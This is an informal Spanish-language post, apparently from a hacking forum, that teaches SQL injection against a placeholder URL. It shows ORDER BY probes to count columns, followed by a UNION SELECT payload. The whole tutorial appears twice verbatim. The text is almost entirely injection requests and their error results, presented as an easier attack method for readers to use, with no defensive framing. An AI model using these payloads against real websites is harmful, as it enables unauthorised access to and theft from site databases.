Hola amigos os traigo una manera mas facil de hacer injection sql digo mas facil por que a mi uno me resulta mas facil que la clasica
ya hemos encontrado la web www.ejemploweb.com/index.php?id=52
de siempre es UNION SELECT 1,2.... O +UNION+ALL+SELECT+1,2... ETC...
hay una manera llamada order by que nos ayuda.
www.ejemploweb.com/index.php?id=52 ORDER BY 1-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 2-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 3-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 4-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 5-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 6-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 7-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 8-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 9-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 10-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 11-- (ERROR)
YA EN EL ORDER BY 11-- ME DIO EROR ENTONCES ENTENDI QUE TENGO K PONER HASTA 10
EJEMPLO :
www.ejemploweb.com/index.php?id=52 UNION SELECT 1,2,3,4,5,6,7,8,9,10
de aqui no paso por que me va dar error igual que en el order by!!
a mi me resulta mas comoda de usar y con el union select voi a tiro echo entonces espero que a vosotros tambien os sea de mucha utilidad
ya hemos encontrado la web www.ejemploweb.com/index.php?id=52
de siempre es UNION SELECT 1,2.... O +UNION+ALL+SELECT+1,2... ETC...
hay una manera llamada order by que nos ayuda.
www.ejemploweb.com/index.php?id=52 ORDER BY 1-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 2-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 3-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 4-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 5-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 6-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 7-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 8-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 9-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 10-- (NO ERROR)
www.ejemploweb.com/index.php?id=52 ORDER BY 11-- (ERROR)
YA EN EL ORDER BY 11-- ME DIO EROR ENTONCES ENTENDI QUE TENGO K PONER HASTA 10
EJEMPLO :
www.ejemploweb.com/index.php?id=52 UNION SELECT 1,2,3,4,5,6,7,8,9,10
de aqui no paso por que me va dar error igual que en el order by!!
a mi me resulta mas comoda de usar y con el union select voi a tiro echo entonces espero que a vosotros tambien os sea de mucha utilidad

